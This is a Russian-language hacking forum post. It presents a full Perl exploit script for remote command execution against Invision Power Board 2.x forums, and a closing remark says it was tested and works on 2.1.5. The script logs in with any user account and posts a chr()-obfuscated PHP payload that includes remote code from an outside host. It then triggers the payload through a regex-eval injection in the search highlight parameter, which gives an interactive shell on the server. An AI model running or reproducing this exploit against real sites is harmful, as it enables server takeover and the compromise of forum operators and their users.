Форум АНТИЧАТ - Уязвимость Invision Power Board 2.1.5

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
Код:
#!/usr/bin/perl



## Invision Power Board 2.* commands execution exploit by RST/GHC

## vulnerable versions <= 2.1.5

## tested on 2.1.4, 2.0.2

##

## (c)oded by 1dt.w0lf

## RST/GHC

## http://rst.void.ru

## http://ghc.ru





use IO::Socket;

use Getopt::Std;



getopts("l:h:p:d:f:v:");



$host     = $opt_h;

$dir      = $opt_d;

$login    = $opt_l;

$password = $opt_p;

$forum    = $opt_f;

$version  = $opt_v || 0;



$|++;



header();

if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }



print "[~]    SERVER : $host\r\n";

print "[~]      PATH : $dir\r\n";

print "[~]     LOGIN : $login\r\n";

print "[~]  PASSWORD : $password\r\n";

print "[~]    TARGET : $version";

print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));

print "\r\n";



print "[~] Login ... ";



$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$post     = 'UserName='.$login.'&PassWord='.$password;

$loggedin = 0;

print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";

print $sock "Host: $host\r\n";

print $sock "Connection: close\r\n";

print $sock "Content-Type: application/x-www-form-urlencoded\n";

print $sock "Content-length: ".length($post)."\r\n\r\n";

print $sock "$post";

print $sock "\r\n\r\n";

while (<$sock>)

{  

 if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }

}

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

print $sock "GET ${dir}index.php HTTP/1.1\r\n";

print $sock "Host: $host\r\n";

print $sock "Cookie: session_id=$sid;\r\n";

print $sock "Connection: close\r\n\r\n";

while (<$sock>)

{    

 if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }

}

if($loggedin) { print " [ DONE ]\r\n"; }

else { print " [ FAILED ]\r\n"; exit(); }



print "[+] SID: $sid\r\n";



print "[~] Try get md5_check ...";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

if($version==1)

 {

 print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";

 }

else

 {

 print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";

 }

print $sock "Host: $host\r\n";

print $sock "Cookie: session_id=$sid;\r\n";

print $sock "Connection: close\r\n\r\n";

while (<$sock>)

 {  

 if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }

 if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }

 }

close($sock);

if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }

else { print " [ FAILED ]\r\n"; exit(); }



print "[~] Create new message ...";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

$created = 0;

$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.

        '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';

$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";

print $sock "POST ${dir}index.php HTTP/1.1\r\n";

print $sock "Host: $host\r\n";

print $sock "Cookie: session_id=$sid;\r\n";

print $sock "Connection: close\r\n";

print $sock "Content-Type: application/x-www-form-urlencoded\n";

print $sock "Content-length: ".length($post)."\r\n\r\n";

print $sock "$post";

print $sock "\r\n\r\n";

while (<$sock>)

 {  

 if(/Location:/) { $created = 1; last; }

 }

if($created) { print " [ DONE ]\r\n"; }

else { print " [ FAILED ]\r\n"; exit(); }



$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[~] Search message ...";

$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';

print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";

print $sock "Host: $host\r\n";

print $sock "Cookie: session_id=$sid;\r\n";

print $sock "Connection: close\r\n";

print $sock "Content-Type: application/x-www-form-urlencoded\n";

print $sock "Content-length: ".length($post)."\r\n\r\n";

print $sock "$post";

print $sock "\r\n\r\n";



while (<$sock>)

 {

 if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }

 }



if($searchid) { print " [ DONE ]\r\n"; }

else { print "[ FAILED ]\r\n"; exit(); }

print "[+] SEARCHID: $searchid\r\n";



$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';



while ()

 {

    print "Command for execute or 'exit' for exit # ";

    while(<STDIN>)

     {

        $cmd=$_;

        chomp($cmd);

        exit() if ($cmd eq 'exit');

        last;

     }

    &run($cmd);

 }



sub run()

 {

  $cmd =~ s/(.*);$/$1/eg;

  $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

  $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20';

  $cmd2 .= $cmd;

  $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';

  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

  

  print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";

  print $sock "Host: $host\r\n";

  print $sock "Cookie: session_id=$sid;\r\n";

  print $sock "Connection: close\r\n\r\n";



  $on = 0;

  $runned = 0;

  while ($answer = <$sock>)

   {

    if ($answer =~ /^_END_/) { return 0; }

    if ($on == 1) { print "  $answer"; }

    if ($answer =~ /^_START_/) { $on = 1; }

   }

 }

 

sub header()

 {

 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";   

 print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";

 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

 }

 

sub usage()

 {

 print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";

 print "<host>     - host where IPB installed e.g www.ipb.com\r\n";

 print "<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";

 print "<login>    - login of any exist user\r\n";

 print "<password> - and password too )\r\n";

 print "<forum>    - number of forum where user can create topic e.g 2,4, etc\r\n";

 print "<version>  - forum version:\r\n";

 print "             0 - 2.0.*\r\n";

 print "             1 - 2.1.*\r\n";

 exit();

 }
проверял на 2.1.5 - работает